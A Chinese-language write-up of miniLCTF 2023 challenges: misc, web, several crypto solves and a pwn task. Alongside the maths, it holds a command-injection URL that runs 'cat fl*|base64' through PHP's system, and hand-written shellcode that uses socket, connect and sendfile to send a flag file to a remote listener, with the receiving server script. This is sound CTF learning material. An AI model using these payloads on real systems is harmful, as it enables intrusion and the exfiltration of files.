感觉比赛还是很不错，就是有点难了，不过都是简单题重复更没意思。作出一道来就有一点收获。
misc1
签到题也不简单，已经很久不作misc了，感觉这东西需要安的东西太多，怕机子累坏了。
一个复合的wav声音文件，切出来多半个flaSSTV和一个压缩包。声音文件看频谱有密码
打开还是声音文件 ，用SSTV听得到图片-flag的尾吧
web1
web也有签到，虽然不研究这个，签个到还行。
打开网页看原代码有shell.php再打开看到原码
$c(),$d,$e);$str2 = substr($class->$c(),$f,$g);$str1($str2);//flag.php?>想了半天用哪个内置的对象，查了网上有stdClass但这东西没有方法可用，看原码上提到Error想到用Exception这个有内置方法getMessage然后system就行了
http://45.77.145.0:200/shell.php?a=Exception&b=systemcat+fl*|base64&c=getMessage&d=0&e=6&f=6&g=14
得到base64编码的flag.php然后再解码
crypto/curvesigin
密码这块怎么没签到呢，原来签到在后边。这个题诸多坑。
from Crypto.Util.number import *from secret import flagimport randomflag = flag.strip(b'miniLctf{').strip(b'}')flag1 = bytes_to_long(flag[:len(flag)//2])flag2 = bytes_to_long(flag[len(flag)//2:])q = getPrime(80)a,b,c = [random.randrange(1,q-1) for _ in "_what_is_this_equation_?_"][:3]def add(P,Q):if P[0] != Q[0] and P[1] != Q[1]:t = ((Q[1]-P[1]) * inverse(Q[0]-P[0],q)) %qelse:t = ((3*c*P[0]*P[0]+a) * inverse(2*b*P[1],q))%q x3 = b*inverse(c,q)*t*t - P[0] - Q[0]y3 = t*(P[0] - x3) - P[1]return (x3%q, y3%q)def mul(t, A, B=0): if not t: return B return mul(t//2, add(A,A), B if not t&1 else add(B,A) if B else A)G = (543964449142803087188784, 288605946000947449279542)assert G[0] == flag1Ps = []ms = [random.randrange(1,q-1) for _ in "welcome_to_xxxctf2023"[:4]] + [flag2]for m in ms: P = mul(m,G) Ps.append(P)print(f'G = {G}\nPs = {Ps}')'''G = (543964449142803087188784, 288605946000947449279542)Ps = [(615716520116903164238350, 815735349922061558569393), (256042693223413187255214, 400772499742719022770893), (620452972415969514798065, 660749148335795540667246), (118301218326000413235697, 338882909672963432813505), (793604064853039619406880, 93386361837996865025986)]'''就喜欢代码短的，一看就明白，这是个椭圆曲线加密最后后是求私钥，前边没给出方程，但给出斜率。
a,b,c = [random.randrange(1,q-1) for _ in "_what_is_this_equation_?_"][:3]t = ((3*c*P[0]*P[0]+a) * inverse(2*b*P[1],q))%q这里是第1个坑，斜率用到3个参数，题目也给出3个参数生成方法，其实方程是4个参数
先把b去掉
这里的d没说，因为斜率是求导得到的，常数项被导掉了。然后6个x,y求参数
由于有限域的模没给出，通过6个方程得到k*q
G = (543964449142803087188784, 288605946000947449279542)Ps = [(615716520116903164238350, 815735349922061558569393), (256042693223413187255214, 400772499742719022770893), (620452972415969514798065, 660749148335795540667246), (118301218326000413235697, 338882909672963432813505), (793604064853039619406880, 93386361837996865025986)]##1,求qdef fun5(g1,g2,g3,g4,g5,g6): x1,y1 = g1 x2,y2 = g2 x3,y3 = g3 x4,y4 = g4 x5,y5 = g5 x6,y6 = g6 A1 = (x3 - x4)*(y1**2 - y2**2) - (x1 - x2)*(y3**2 - y4**2) A2 = (x5 - x6)*(y1**2 - y2**2) - (x1 - x2)*(y5**2 - y6**2) B1 = (x1**3 - x2**3)*(x3 - x4) - (x3**3 - x4**3)*(x1 - x2) B2 = (x1**3 - x2**3)*(x5 - x6) - (x5**3 - x6**3)*(x1 - x2) return A1*B2 - A2*B1v = ([G] + Ps)kq = fun5( *v )kq = 1659781780256202117320982411911907021129251124933071094831730558095985915900469756361610566671381121385960359097740745076076254241750071580595324136001810341690635932因为已知q是80位，对kq分解可以得到q，不分解据说也行，可以直接用kq作模求参数
#2,对kq分解,找到q '''P1 = 2P1 = 2P1 = 3P1 = 7P2 = 11P4 = 2851P6 = 142619P6 = 341569P9 = 121253203P16 = 1364065646451691P23 = 31026401285225228917603P24 = 878502880971205563250537 <-----80位P79 = 2868949361189169406203504733670610246297691354043115570120121449069654765161971'''#3,求参 两边都有参数，将方程左边的b除掉，看右边q = 878502880971205563250537C1,C2,C3,C4,C5,C6 = v P.=PolynomialRing(Zmod(q))f1 = a*C1[0]^3 + b*C1[0] + c - C1[1]^2 f2 = a*C2[0]^3 + b*C2[0] + c - C2[1]^2 f3 = a*C3[0]^3 + b*C3[0] + c - C3[1]^2 f4 = a*C4[0]^3 + b*C4[0] + c - C4[1]^2 f5 = a*C5[0]^3 + b*C5[0] + c - C5[1]^2 f6 = a*C6[0]^3 + b*C6[0] + c - C6[1]^2 F = [f1,f2,f3,f4,f5,f6]Ideal = Ideal(F)I = Ideal.groebner_basis()print(I)#[a + 662963051503062411245929, b + 405447704422414394053669, c + 189827742241355283851865]a,b,c = -662963051503062411245929%q,-405447704422414394053669%q,-189827742241355283851865%q#a,b,c = (215539829468143152004608, 473055176548791169196868, 688675138729850279398672) 然后这里的第2个坑，这个方程不是标准的椭圆方程形式，x项有参数，先将a取3次方根k，用kx代码x，对x轴进行缩放得到标准方程。
#4,对x轴向缩放，转换成标准方程#4.1 令x = kx ,k^3 = a 求kP. = PolynomialRing(GF(q)) #f = x^3 - a f.roots()#[(430117650226655400246319, 1), (420974725922346296990896, 1), (27410504822203866013322, 1)]k = 27410504822203866013322#y^2 = (kx)^3 + A*kx + B A = b*pow(k,-1,q) B = cx = G[0]*k%qy = G[1]#点G,m*G缩放后放入方程E = EllipticCurve(GF(q), [A, B])P = E(G[0]*k%q,G[1])Q = E(Ps[-1][0]*k%q, Ps[-1][1]) 然后这里因为q很小，可以直接求对数，不过出来的结果不正确。问了别人说可能m比order大,这里这rsa有点相似，rsa是加p-1，这里是加order不过这个方程本身多解，order也不是最简的，将order分解，最接近的就是1/2 order，用order/2爆破
#5,求私钥m = discrete_log(Q, P, operation='+') m long_to_bytes(int(m))#6, 估计这个G是曲线某个循环子群的生成元，阶是order的某个因子#E.order() 878502880972065193795276v = E.order()//2for i in range(100): long_to_bytes(m+i*v)'''b"\x10l\x97+'2\xfe\x82\xa2\n"b'mput3__d1p'miniLctf{s0_3@5y_c0mput3__d1p}'''crypto/guess
突然后边这个如此简单。
from secret import flagfrom functools import reducefrom Crypto.Util.number import getPrimefrom hashlib import sha256import socketserverimport signalimport string import randomimport gmpy2N_SIZE=52MOD_SIZE=50def dec2blist(decimal, length): """ Converts an integer to a binary list of a specified length, filling zeros on the left if necessary. """ bitlist = [] while decimal > 0: bit = decimal % 2 bitlist.append(bit) decimal //= 2 bitlist.reverse() if len(bitlist) < length: bitlist = [0] * (length - len(bitlist)) + bitlist return bitlistdef generate_prime_list(listlen:int,q:int): primes = [] while len(primes) < listlen: n = random.randint(2, q-1) if gmpy2.is_prime(n): primes.append(n) return primesdef verify(prime_list,key,q,product): choice=dec2blist(key,len(prime_list)) elements = [prime_list[i] for i in range(len(prime_list)) if choice[i]] newproduct = reduce((lambda x, y: x * y % q), elements) return product==newproductdef product_mod_q(prime_list,q): l=len(prime_list) elements = random.sample(prime_list,random.randint(l//2,l)) #随机取n个 product = reduce((lambda x, y: x * y % q), elements) return productclass Task(socketserver.BaseRequestHandler): def _recvall(self): BUFF_SIZE = 2048 data = b'' while True: part = self.request.recv(BUFF_SIZE) data += part if len(part) < BUFF_SIZE: break return data.strip() def send(self, msg, newline=True): try: if newline: msg += b'\n' self.request.sendall(msg) except: pass def recv(self, prompt=b'[-] '): self.send(prompt, newline=False) return self._recvall() def proof_of_work(self): table = string.ascii_letters+string.digits proof = (''.join([random.choice(table)for _ in range(20)])).encode() sha = sha256(proof).hexdigest().encode() self.send(b"[+] sha256(XXXX+" + proof[4:] + b") == " + sha ) XXXX = self.recv(prompt = b'[+] Plz Tell Me XXXX :') if len(XXXX) != 4 or sha256(XXXX + proof[4:]).hexdigest().encode() != sha: return False return True def handle(self): signal.alarm(233) self.send(b"Welcome to Gauss Frenzy! You need to complete the Proof of work first!") proof = self.proof_of_work() if not proof: self.request.close() q=getPrime(MOD_SIZE) #50 prime_list=generate_prime_list(N_SIZE,q) #52个感觉可以秒，但我来得太晚了，看到群里好多人说比赛才来，晚了一天。
题目看上去是个乘法背包问题，不过背包问题这个没有解法。
先后成52个大点的数，然后任选26-52个乘再取模，只要回复用的哪些数就行了，这个规划26以上是不可爆破的，不过反过来看如果用除法，先把所有数都乘一起再去数规模就不大了，这是个随机数，很大可能会非常靠近52，如果是48就可以秒出。所以用程序爆破，等到一个数很大的情况就OK了，由于比赛链接程序不劫持win7，所以虚机下不能作太大，最大爆破到5个数。
from pwn import *from hashlib import sha256from itertools import product from functools import reduceimport string from gmpy2 import invert def proof_of_work_2(suffix, hash): # sha256, suffix, known_hash table = string.digits + string.ascii_letters def judge(x): return sha256( x.encode()+suffix).digest().hex() == hash return util.iters.bruteforce(judge, table,length=4, method = 'fixed')def conn(): p = remote('127.0.0.1', 42837) #proof #[+] sha256(XXXX+sA2ln63bJoakKsCH) == 703412e7644621fdc24f2a867503b12b1962098138734efcdfa492e8a0aa9ff3 p.recvuntil(b"[+] sha256(XXXX+") tail = p.recvuntil(b') == ', drop=True) s256 = p.recvline().strip().decode() print(tail, s256) head = proof_of_work_2(tail, s256) p.sendlineafter(b'[+] Plz Tell Me XXXX :', head.encode()) return pdef get_list(): ra = [invert(v,q) for v in a] # pro = 1 for v in a: pro = pro*v%q queue = {pro:[]} #{value:[selected],...} for i in range(5): tmpque = {} for v in queue: for j in range(52): tv = v*ra[j]%q used = queue[v]+[j] if tv == tag: print(v,tv,used,queue[v]) return used tmpque[tv]= used queue = tmpque return []while True: p = conn() #get arg p.recvuntil(b"Alice have some primes:\n") a = eval(p.recvline()) p.recvuntil(b"She picks some and multiplies them ,then mod ") q = int(p.recvuntil(b" ,the product is ", drop=True)) tag = int(p.recvline()) print(f"{a = }\n{q = }\n{tag = }") ok = get_list() if ok == []: print('Too small, I need least 46') p.close() continue nok = int(''.join(['1' if i not in ok else '0' for i in range(52)]),2) print('product:',nok) p.sendlineafter(b"[-] key=\n", str(nok).encode()) print(p.recvline()) p.interactive()'''[*] Closed connection to 127.0.0.1 port 42837[+] Opening connection to 127.0.0.1 on port 42837: Doneb'yUsiSbqI3CEkYDHQ' 6f4524747484866eddcc1d604703dcb12c543ec33256401cad151178967a2ebd[+] Bruteforcing: Found key: "SYxS"a = [692499566575429, 134409149748749, 653932750798099, 568575041179157, 417668664450083, 164345418891391, 315948694001401, 823878428502929, 355457066169631, 437549476740659, 574669373467697, 491164490580073, 900552220077271, 431433715245179, 820501600382939, 798872425216751, 284934127998571, 173026900187737, 913424022312407, 457769412178997, 352853959269067, 156247212471079, 728813442004363, 759954178481447, 85237894329787, 235453629681799, 769348518710293, 328880426484053, 113124598931221, 96587581662709, 193038793331903, 712655061930013, 867402730060049, 528836472166031, 256841059695403, 170909563018349, 186848057458607, 172285989871343, 421214319576881, 21590091037003, 784142317402777, 263674901435663, 715076995877687, 772147525631093, 547771349394097, 543719454650789, 7388868411101, 528418675320617, 114136387374553, 785217883772339, 507155426971961, 579007431282431]q = 930809387620663tag = 334916561117582625299989058834 334916561117582 [35, 26, 4, 1, 41] [35, 26, 4, 1]product: 3236962198551551b"Congratulations! Here's the flag for you \n"[*] Switching to interactive modeb'miniL{C0ngr4tu1atio5!U_D0_KnOw_b4ckpacK!!!}''''crypto/giveway
这个也很长，不过仔细看很简单，生成个大矩阵，然后用 flag乘给出结果，如果矩阵够大的话，直接可解，可问题是不够大。不过两次运行flag不变，所以干两次就够大了。来晚了
from secret import messagefrom functools import reducefrom hashlib import sha256from Crypto.Util.number import bytes_to_longimport socketserverimport signalimport string import randomdef dec2blist(decimal, length): """ Converts an integer to a binary list of a specified length, filling zeros on the left if necessary. """ bitlist = [] while decimal > 0: bit = decimal % 2 bitlist.append(bit) decimal //= 2 bitlist.reverse() if len(bitlist) < length: bitlist = [0] * (length - len(bitlist)) + bitlist return bitlistdef bake(list1,list2): return reduce((lambda x,y: x ^ y) , list(map(lambda x, y: x and y, list1, list2)) )def send_a_chocolate(self): assert len(bin(bytes_to_long(message)))-2==511 dough=bytes_to_long(message) chocolate_jam=random.getrandbits(512) cookie=bake(dec2blist(dough, 512), dec2blist(chocolate_jam,512)) self.send(f"[+] The lucky sticker reads ({cookie},{hex(chocolate_jam)}). Yummy!\n".encode())class Task(socketserver.BaseRequestHandler): def _recvall(self): BUFF_SIZE = 2048 data = b'' while True: part = self.request.recv(BUFF_SIZE) data += part if len(part) < BUFF_SIZE: break return data.strip() def send(self, msg, newline=True): try: if newline: msg += b'\n' self.request.sendall(msg) except: pass def recv(self, prompt=b'[-] '): self.send(prompt, newline=False) return self._recvall() def proof_of_work(self): table = string.ascii_letters+string.digits proof = (''.join([random.choice(table)for _ in range(20)])).encode() sha = sha256(proof).hexdigest().encode() self.send(b"[+] sha256(XXXX+" + proof[4:] + b") == " + sha ) XXXX = self.recv(prompt = b'[+] Plz Tell Me XXXX :') if len(XXXX) != 4 or sha256(XXXX + proof[4:]).hexdigest().encode() != sha: return False return True def sendmenu(self,coins): self.send(f"[+] Welcome to Flag Vending Machine! You have {coins} coins available. \Please press the number to make your choice!\n[1] Buy a chocolate cookie\n[2] Top-up silver coins \n[3] Exit\n".encode()) def handle(self): signal.alarm(233) coins=random.randint(503,508)#Well ... Easy mode self.send(b"Chocolate Fortune Cookie For Sale! You need to complete the Proof of work first!") proof = self.proof_of_work() if not proof: self.request.close() while(coins): self.sendmenu(coins) try: choice=int(self.recv().decode()) except Exception as e: self.send(str(e).encode()) continue if (choice == 1 and coins > 0): coins -= 1 send_a_chocolate(self) elif (choice == 2): self.send(b"[+] Error: The service is currently unavailable, please try again later :(\n") elif (choice == 3): self.send(b"[+] Bye!\n") self.request.close() else: self.send(b"[+] Please send 1/2/3 to make your choice!\n") self.send(b"[+] Looks like you\'re out of coins... See you next time! Good luck!\n") self.request.close()class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer): passclass ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer): passif __name__ == "__main__": HOST, PORT = '0.0.0.0', 10007 server = ForkedServer((HOST, PORT), Task) server.allow_reuse_address = True print(HOST, PORT) server.serve_forever()第1步先取数，虽然有proof但挡不住我取两次。
from pwn import *from hashlib import sha256from itertools import product import string from gmpy2 import invert p = remote('127.0.0.1', 25890)#context.log_level = 'debug'#proof #[+] sha256(XXXX+sA2ln63bJoakKsCH) == 703412e7644621fdc24f2a867503b12b1962098138734efcdfa492e8a0aa9ff3p.recvuntil(b"[+] sha256(XXXX+")tail = p.recvuntil(b') == ', drop=True)s256 = p.recvline().strip().decode()print(tail, s256)def proof_of_work_2(suffix, hash): # sha256, suffix, known_hash table = string.digits + string.ascii_letters def judge(x): return sha256( x.encode()+suffix).digest().hex() == hash return util.iters.bruteforce(judge, table,length=4, method = 'fixed')head = proof_of_work_2(tail, s256)p.sendlineafter(b'[+] Plz Tell Me XXXX :', head.encode())#get #[+] The lucky sticker reads (0,0x4968e21f1625271295d2137bbfa872cbe94e374e82987a2e76d063f424f695738a86034abba35534911d72b3f5eb31153b62ad291c1f2199c054b21388edd239). Yummy!\nfor i in range(508): p.sendlineafter(b'[-] ', b'1') ret = p.recvline() if ret == b"[+] Please send 1/2/3 to make your choice!\n": break coo,jam = eval(ret[28:-9]) print(coo,jam) 然后矩阵除
data = [..此处略去1000行..]B = matrix(GF(2), 512, 1009)for i in range(len(data)): v = bin(data[i][1])[2:].rjust(512,'0') for j in range(512): B[j,i] = int(v[j],2) C = vector(GF(2), [data[i][0] for i in range(len(data))])A = B.solve_left(C)v = ''.join(['0' if i==0 else '1' for i in A])bytes.fromhex(hex(int(v,2))[2:])#b'miniL{We1c0me_TO_M1niL2o23_Crypt0!} Enjoy the challenges ahead! '后边几个等wp了。题很好就是会得少。最后1分钟交了个调查问卷终于进前10了。最后一条线，但是大佬的名字都太长了就显示不下小的了
pwn/ez_shellcode
赛完10分钟，问了一下，终于解决了。
int __cdecl main(int argc, const char **argv, const char **envp){ unsigned int length; // [rsp+4h] [rbp-Ch] char *oo0Oo; // [rsp+8h] [rbp-8h] OooO0OOo(); puts("Welcome to MiniL2023!!! Enjoy~"); puts("Well, Let's play a game to warm up!"); oo0Oo = (char *)mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL); memset(oo0Oo, 144, 0x1000uLL); length = read(0, ooooo0ooo0o, 0x40uLL); memcpy(oo0Oo, &unk_20E8, 0x30uLL); memcpy(oo0Oo + 48, ooooo0ooo0o, length); if ( o0o0o000o() ) ((void (*)(void))oo0Oo)(); return 0;}int __cdecl o0o0o000o(){ int fd1; // [rsp+8h] [rbp-828h] int fd2; // [rsp+Ch] [rbp-824h] char buf2[1024]; // [rsp+20h] [rbp-810h] BYREF char buf1[1024]; // [rsp+420h] [rbp-410h] BYREF unsigned __int64 v5; // [rsp+828h] [rbp-8h] v5 = __readfsqword(0x28u); puts("I'll make sure flag is ready."); fd1 = open("flag1", 0); if ( fd1 >= 0 ) { if ( read(fd1, buf2, 0x400uLL) > 0 ) { fd2 = open("flag2", 0); if ( fd2 >= 0 ) { if ( read(fd2, buf1, 0x400uLL) > 0 ) { puts("Well, flag is ready."); close(fd1); close(fd1); // fd2未关闭 memset(buf1, 0, sizeof(buf1)); memset(buf1, 0, sizeof(buf1)); close_seccomp(); return 1; } else { puts("flag2 file is empty"); return 0; } } else { puts("flag2 file doesn't exit"); return 0; } } else { puts("flag1 file is empty"); return 0; } } else { puts("flag1 file doesn't exit"); return 0; }}题目很明了，先读入shellcode到mmap生成的rwx段，然后去执行。flag文件打开，flag2忘关掉，shellcode最长0x40，之前会关掉input,output,error，把除rip以外的寄存器清0,并仅保留socket,connect,sendfile 三个syscall。显然是socket,connect,sendfile，只是sendfile这块一直没成功。
shellcode分4块
第1块获取地址，代码如果用shellcraft生成会很长，这个都得手工写
lea rsp,[rip]+0x8f9; 第2块socket,不需要变的全省略
push raxmov rax, 0x0100007f6c1e0002 push raxmov dil,2inc esipush 0x29pop raxsyscall 第3块connect
xor rdi,rdipush rsppop rsimov dl,0x10mov al, 0x2asyscall 第4块sendfile （这里rdx需要指向0，而不是置0，就差这了，一直没成功）
push 4pop rsipush rsppop rdxadd rdx,8push 0x50pop r10mov al,0x28syscall最后就发送就行了（这些都是本地调试的，真打应该找个有公网IP的机子，整个server收flag）
pay = asm(shellcode).ljust(0x40, b'\x90')p = process('./main')#p = remote('pwn.blackbird.wang', 9550)#gdb.attach(p, "b*0x0000555555555642\nc")#pause()p.sendafter(b'up!\n', pay)p.recvline()p.recvline()pause()server.py
import sockettcp_server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)address = ('127.0.0.1', 7788)tcp_server_socket.bind(address)tcp_server_socket.listen(128)client_socket, clientAddr = tcp_server_socket.accept()print('connted',clientAddr)recv_data = client_socket.recv(1024)print('接收到的数据为:', recv_data)client_socket.close()crypto/not_RSA
结束一会就能问到方法,复现一下. 一个刚听说的NovelSystem
题目是一个类似RSA的加密方法,乘幂是通过一对明文来回交叉然后作幂数组加法(重定规则),phi是(p^2+p+1)*(q^2+q+1)而p和q的生成方法是a^2+3*b^2
后来一问,才知道又是下论文题,最早像是出现在2021年的 pbctf上,加密算法有小改动.不过因为这个算法与rsa极其类似,加密用pow(m,e,n)解密用pow(c,d,n)所以加密函数并不用逆,只需要求d即可.
原题
from not_RSA import *from secret import FLAGfrom Crypto.Util.number import *p, q = generate_prime(512), generate_prime(512)n = p * qphi = (p**2 + p + 1) * (q **2 + q + 1)d = getPrime(276)e = inverse(d, phi)tmp = getPrime(469)p0 = p + tmppt1, pt2 = random_padding(FLAG[:len(FLAG)//2]+b'#',127), random_padding(FLAG[len(FLAG)//2:]+b'#', 127)m = (bytes_to_long(pt1), bytes_to_long(pt2))c = special_power(m, e, n)print(f"c = {c}")print(f"n = {n}")print(f"e = {e}")print(f"p0 = {p0}")加密算法
import randomfrom Crypto.Util.number import *def generate_prime(bit_length): while True: a = random.getrandbits(bit_length//2) b = random.getrandbits(bit_length//2) if b % 3 == 0: continue p = a ** 2 + 3 * b ** 2 if p.bit_length() == bit_length and p % 3 == 1 and isPrime(p): return pdef point_addition(P, Q, mod): m, n = P p, q = Q if p is None: return P if m is None: return Q if n is None and q is None: x = m * p % mod y = (m + p) % mod return (x, y) if n is None and q is not None: m, n, p, q = p, q, m, n if q is None: if (n + p) % mod != 0: x = (m * p + 2) * inverse(n + p, mod) % mod y = (m + n * p) * inverse(n + p, mod) % mod return (x, y) elif (m - n ** 2) % mod != 0: x = (m * p + 2) * inverse(m - n ** 2, mod) % mod return (x, None) else: return (None, None) else: if (m + p + n * q) % mod != 0: x = (m * p + (n + q) * 2) * inverse(m + p + n * q, mod) % mod y = (n * p + m * q + 2) * inverse(m + p + n * q, mod) % mod return (x, y) elif (n * p + m * q + 2) % mod != 0: x = (m * p + (n + q) * 2) * inverse(n * p + m * q + r, mod) % mod return (x, None) else: return (None, None)def special_power(P, a, mod): res = (None, None) t = P while a > 0: if a & 1: res = point_addition(res, t, mod) t = point_addition(t, t, mod) a >>= 1 return resdef random_padding(message, length): pad = bytes([random.getrandbits(8) for _ in range(length - len(message))]) return message + pad论文题,如果没见过解法打死也是想不出来的,毕竟人家是数学家.
先分解n
#---------------------------'''1,素数结构 p = a^2 + 3* b^2 ,p%3 == 12,phi的结构phi = (p^2+p+1)*(q^2+q+1)3,给出N,e,c 论文:https://eprint.iacr.org/2021/1160.pdf '''import time ############################################# Config########################################## """Setting debug to true will display more informationsabout the lattice, the bounds, the vectors..."""debug = True """Setting strict to true will stop the algorithm (andreturn (-1, -1)) if we don't have a correct upperbound on the determinant. Note that this doesn't necesseraly mean that no solutions will be found since the theoretical upperbound isusualy far away from actual results. That is whyyou should probably use `strict = False`"""strict = False """This is experimental, but has provided remarkable resultsso far. It tries to reduce the lattice as much as it canwhile keeping its efficiency. I see no reason not to usethis option, but if things don't work, you should trydisabling it"""helpful_only = Truedimension_min = 7 # stop removing if lattice reaches that dimension ############################################# Functions########################################## # display stats on helpful vectorsdef helpful_vectors(BB, modulus): nothelpful = 0 for ii in range(BB.dimensions()[0]): if BB[ii,ii] >= modulus: nothelpful += 1 print(nothelpful, "/", BB.dimensions()[0], " vectors are not helpful") # display matrix picture with 0 and Xdef matrix_overview(BB, bound): for ii in range(BB.dimensions()[0]): a = ('%02d ' % ii) for jj in range(BB.dimensions()[1]): a += '0' if BB[ii,jj] == 0 else 'X' if BB.dimensions()[0] < 60: a += ' ' if BB[ii, ii] >= bound: a += '~' print(a) # tries to remove unhelpful vectors# we start at current = n-1 (last vector)def remove_unhelpful(BB, monomials, bound, current): # end of our recursive function if current == -1 or BB.dimensions()[0] <= dimension_min: return BB # we start by checking from the end for ii in range(current, -1, -1): # if it is unhelpful: if BB[ii, ii] >= bound: affected_vectors = 0 affected_vector_index = 0 # let's check if it affects other vectors for jj in range(ii + 1, BB.dimensions()[0]): # if another vector is affected: # we increase the count if BB[jj, ii] != 0: affected_vectors += 1 affected_vector_index = jj # level:0 # if no other vectors end up affected # we remove it if affected_vectors == 0: print("* removing unhelpful vector", ii) BB = BB.delete_columns([ii]) BB = BB.delete_rows([ii]) monomials.pop(ii) BB = remove_unhelpful(BB, monomials, bound, ii-1) return BB # level:1 # if just one was affected we check # if it is affecting someone else elif affected_vectors == 1: affected_deeper = True for kk in range(affected_vector_index + 1, BB.dimensions()[0]): # if it is affecting even one vector # we give up on this one if BB[kk, affected_vector_index] != 0: affected_deeper = False # remove both it if no other vector was affected and # this helpful vector is not helpful enough # compared to our unhelpful one if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(bound - BB[ii, ii]): print("* removing unhelpful vectors", ii, "and", affected_vector_index) BB = BB.delete_columns([affected_vector_index, ii]) BB = BB.delete_rows([affected_vector_index, ii]) monomials.pop(affected_vector_index) monomials.pop(ii) BB = remove_unhelpful(BB, monomials, bound, ii-1) return BB # nothing happened return BB def attack(N, e, m, t, X, Y): modulus = e PR. = PolynomialRing(ZZ) a = N + 1 b = N * N - N + 1 f = x * (y * y + a * y + b) + 1 gg = [] for k in range(0, m+1): for i in range(k, m+1): for j in range(2 * k, 2 * k + 2): gg.append(x^(i-k) * y^(j-2*k) * f^k * e^(m - k)) for k in range(0, m+1): for i in range(k, k+1): for j in range(2*k+2, 2*i+t+1): gg.append(x^(i-k) * y^(j-2*k) * f^k * e^(m - k)) def order_gg(idx, gg, monomials): if idx == len(gg): return gg, monomials for i in range(idx, len(gg)): polynomial = gg[i] non = [] for monomial in polynomial.monomials(): if monomial not in monomials: non.append(monomial) if len(non) == 1: new_gg = gg[:] new_gg[i], new_gg[idx] = new_gg[idx], new_gg[i] return order_gg(idx + 1, new_gg, monomials + non) gg, monomials = order_gg(0, gg, []) # construct lattice B nn = len(monomials) BB = Matrix(ZZ, nn) for ii in range(nn): BB[ii, 0] = gg[ii](0, 0) for jj in range(1, nn): if monomials[jj] in gg[ii].monomials(): BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](X, Y) # Prototype to reduce the lattice if helpful_only: # automatically remove BB = remove_unhelpful(BB, monomials, modulus^m, nn-1) # reset dimension nn = BB.dimensions()[0] if nn == 0: print("failure") return 0,0 # check if vectors are helpful if debug: helpful_vectors(BB, modulus^m) # check if determinant is correctly bounded det = BB.det() bound = modulus^(m*nn) if det >= bound: print("We do not have det < bound. Solutions might not be found.") print("Try with highers m and t.") if debug: diff = (log(det) - log(bound)) / log(2) print("size det(L) - size e^(m*n) = ", floor(diff)) if strict: return -1, -1 else: print("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)") # display the lattice basis if debug: matrix_overview(BB, modulus^m) # LLL if debug: print("optimizing basis of the lattice via LLL, this can take a long time") BB = BB.LLL() if debug: print("LLL is done!") # transform vector i & j -> polynomials 1 & 2 if debug: print("looking for independent vectors in the lattice") found_polynomials = False for pol1_idx in range(nn - 1): for pol2_idx in range(pol1_idx + 1, nn): # for i and j, create the two polynomials PR. = PolynomialRing(ZZ) pol1 = pol2 = 0 for jj in range(nn): pol1 += monomials[jj](a,b) * BB[pol1_idx, jj] / monomials[jj](X, Y) pol2 += monomials[jj](a,b) * BB[pol2_idx, jj] / monomials[jj](X, Y) # resultant PR. = PolynomialRing(ZZ) rr = pol1.resultant(pol2) # are these good polynomials? if rr.is_zero() or rr.monomials() == [1]: continue else: print("found them, using vectors", pol1_idx, "and", pol2_idx) found_polynomials = True break if found_polynomials: break if not found_polynomials: print("no independant vectors could be found. This should very rarely happen...") return 0, 0 rr = rr(q, q) # solutions soly = rr.roots() if len(soly) == 0: print("Your prediction (delta) is too small") return 0, 0 soly = soly[0][0] ss = pol1(q, soly) solx = ss.roots()[0][0] return solx, soly def inthroot(a, n): return a.nth_root(n, truncate_mode=True)[0]N = 103255210447201501371417366314698617128571899104178153644502440939179707560694633551313596814867085426522157527557873368089757491021794381392940645658031944937376477744644393844781470315770893253591718873148298034783254899285894192568113349056391974188706470251298810392910953025658474958447750644663120809161e = 9583844349143763216577056030562049770207021495053166931622586942299664240152962005166123845294740910682002626836306629541171186155613228080333603389256263599077945629292275075204305859845966709343064493385561097725880568307482154382068336740221552489762224156862649726139521041709368241009505934006275050727466118506845275244191749935821428533956123008950814817446865191293160484499980805375127998664220058827288306710393417375308743911041896280674963812278295706552776413678414777273337864851457733395645762523718466931204393235542589232058708808567310860905450262329471814920834990514208969596816366119172152233564X = 1 << 469Y = 2 * inthroot(Integer(2 * N), 2) res = attack(N, e, 4, 2, X, Y)print(res) # gives k and p + q, the rest is easy#(59137369850819406532275717524517585767165464950708158462164450136762195724495413187, 20475741127535118048435692842803317049125018119948443351473506009477900422367314192436495478321956277208904797584417360924744290274238260307774067014335690)b, c = res[1], NDsqrt = inthroot(Integer(b^2-4*c),2)p, q = (b + Dsqrt) // 2, (b - Dsqrt) // 2assert p * q == N#11486382971898441589289013198690864780869354871041795491785595801633976127714665049779741643398450168581366372073269352216270475337156119910857122881102537,8989358155636676459146679644112452268255663248906647859687910207843924294652649142656753834923506108627538425511148008708473814937082140396916944133233153
攻击求出来的是系数b,c也就是求根公式里的
这两个值
这里a==1所以可以直接求出p,q来
后边就是NovelSystem加密,把c,d带进原函数就行.
c = (99256707703226697226473841185259891785249728547098403329816239886722383460401685922071518907503131597586071155779535217957728713395973126772467862964939878117327514388525570332680833383088079421676354296281469250418264543833996288111463346112204924207384792233847819302304599120532752360882845527395569869907, 22655358796075424487044406387957775030913109276145369023351200306937368259451273503046617611110582153415768404632774105652118572620829335937285604752846386248015325031053581797994703852239663030464437053164169557845378554791579176562234005623449839772205446210182378591192462742536627314113540667791362602148)#跟NovelSystem稍有区别,这里可以算出phi求出d,解密方式和加密用同一函数phi = (p**2 + p + 1)*(q**2 + q + 1)d = invert(e,phi)m = special_power(c,d,N)flag = b''.join([long_to_bytes(v)[:24] for v in m])#miniLCTF{CoNt1nu4d_FrActiOn_1s_3o_E@s7_foR_y0u!}附一下标准NovelSystem的加密函数
